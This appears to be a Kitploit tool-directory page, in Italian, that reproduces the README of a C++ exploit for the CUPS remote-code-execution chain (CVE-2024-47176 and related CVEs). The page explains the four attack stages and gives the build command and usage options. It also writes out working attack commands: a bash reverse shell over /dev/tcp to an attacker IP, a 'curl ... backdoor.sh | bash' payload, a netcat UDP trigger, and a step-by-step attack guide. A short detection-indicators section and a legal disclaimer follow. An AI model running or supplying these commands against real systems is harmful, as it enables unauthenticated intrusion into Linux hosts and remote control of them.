Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Cups-RCE-Exploit — Exploit C++ per esecuzione remota di codice non autenticata su CUPS tramite la catena CVE-2024-47176. | Kitploit
Strumenti/GitHubGitHub/stickxx00/cups-rce-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubstickxx00/cups-rce-exploit

Cups-RCE-Exploit

Exploit C++ per esecuzione remota di codice non autenticata su CUPS tramite la catena CVE-2024-47176.

Vedi Repository
22 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit RCE di CUPS - CVE-2024-47176 Chain

Cos'è

Un proof-of-concept funzionante e completo che sfrutta la catena di vulnerabilità di esecuzione remota di codice in CUPS (Common Unix Printing System) scoperta a settembre 2024. Questa catena comprende quattro CVE — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 e CVE-2024-47177 — che insieme permettono a un attaccante remoto non autenticato di eseguire comandi arbitrari su qualsiasi sistema Linux che esegue una versione vulnerabile di CUPS.

Come funziona

L'exploit distribuisce un server IPP (Internet Printing Protocol) fraudolento che simula una stampante di rete. L'attacco si svolge in quattro fasi:

Fase 1 — Attivazione della scoperta Un pacchetto UDP manipolato viene inviato alla porta 631 del bersaglio. Il demone cups‑browsed si fida di questo pacchetto senza autenticazione e avvia una connessione TCP verso il server IPP dell'attaccante per recuperare gli attributi della stampante.

Fase 2 — Consegna del PPD malevolo Il server IPP dell'attaccante risponde con attributi della stampante contenenti dati non sanificati. Questi dati attraversano libcupsfilters e libppd, che non li convalidano né sanificano, permettendo di inserire una direttiva FoomaticRIPCommandLine malevola in un file PPD.

Fase 3 — Iniezione di comandi Quando un lavoro di stampa viene inviato alla stampante controllata dall'attaccante (automaticamente o tramite azione dell'utente), il filtro foomatic‑rip elabora il file PPD ed esegue il comando iniettato con i privilegi dell'utente lp.

Fase 4 — Esecuzione del payload Il comando iniettato viene eseguito sul sistema bersaglio. I payload comuni includono reverse shell, installazione di backdoor, esfiltrazione di dati o preparazione per l'escalation dei privilegi.

Versioni affette

cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1

La maggior parte delle distribuzioni Linux era fornita con versioni affette fino alle patch di fine 2024.

Prerequisiti

Una macchina Linux con g++ e strumenti di sviluppo standard Accesso di rete al bersaglio (la porta UDP 631 deve essere raggiungibile) Il bersaglio deve eseguire cups-browsed in ascolto sulla porta UDP 631 Si consiglia l'uso di root o sudo per il binding sulla porta 631 (oppure utilizzare una porta alta come 1631)

Compilazione

g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Nessuna dipendenza esterna. Si compila su qualsiasi distribuzione Linux con g++.

Utilizzo

./cups_rce_exploit -l <IP_ATTACCANTE> -r [opzioni]

Opzioni

-l, --listener Indirizzo IP dell'attaccante per il server IPP fraudolento -r, --reverse Comando da eseguire sul bersaglio, o percorso di un file script -t, --target Indirizzo IP del bersaglio (invia automaticamente il pacchetto UDP di attivazione) -p, --port Porta per il server IPP fraudolento (default: 631) -s, --spoof Nome fittizio della stampante (default: VulnPrinter) -T, --target-port Porta UDP del bersaglio (default: 631) -h, --help Mostra il messaggio di aiuto

Esempio di reverse shell

Terminale 1 — avvia il listener: nc -lvnp 4444

Terminale 2 — esegui l'exploit: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Payload da file

echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100

Modalità server con attivazione manuale

Terminale 1 — avvia il server: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"

Terminale 2 — invia l'attivazione UDP al bersaglio: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631

Utilizzo di una porta non privilegiata

./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631

Guida completa all'attacco

Passo 1: Imposta un listener netcat sulla tua macchina attaccante nc -lvnp 4444

Passo 2: Compila l'exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Passo 3: Esegui l'exploit contro il bersaglio ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Passo 4: Se un utente sulla macchina bersaglio stampa una pagina di prova o qualsiasi documento sulla stampante fraudolenta, riceverai una reverse shell come utente lp.

Indicatori di rilevamento

Pacchetti UDP inaspettati sulla porta 631 contenenti stringhe URI IPP Connessioni TCP in uscita da cups-browsed verso host sconosciuti sulla porta 631 Stampanti sconosciute che appaiono automaticamente nell'interfaccia web di CUPS Processi generati da foomatic-rip o sotto l'utente lp

Disclaimer

AVVISO LEGALE

Questo software è fornito esclusivamente a scopo educativo e di ricerca. È inteso ad aiutare professionisti della sicurezza, penetration tester e amministratori di sistema a comprendere, rilevare e difendersi dalle vulnerabilità descritte.

L'uso non autorizzato di questo exploit contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta per i test è illegale e può violare il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act e leggi simili in altre giurisdizioni.

I casi d'uso autorizzati includono valutazioni di sicurezza su sistemi di propria proprietà, penetration test con autorizzazione scritta, programmi bug bounty con ambito esplicito, ricerca accademica in ambienti di laboratorio controllati e competizioni CTF.

L'autore non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili del rispetto di tutte le leggi applicabili e dell'ottenimento della corretta autorizzazione prima di eseguire test.

Utilizzando questo software, l'utente accetta questi termini.

Riferimenti

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org

Scarica lo strumento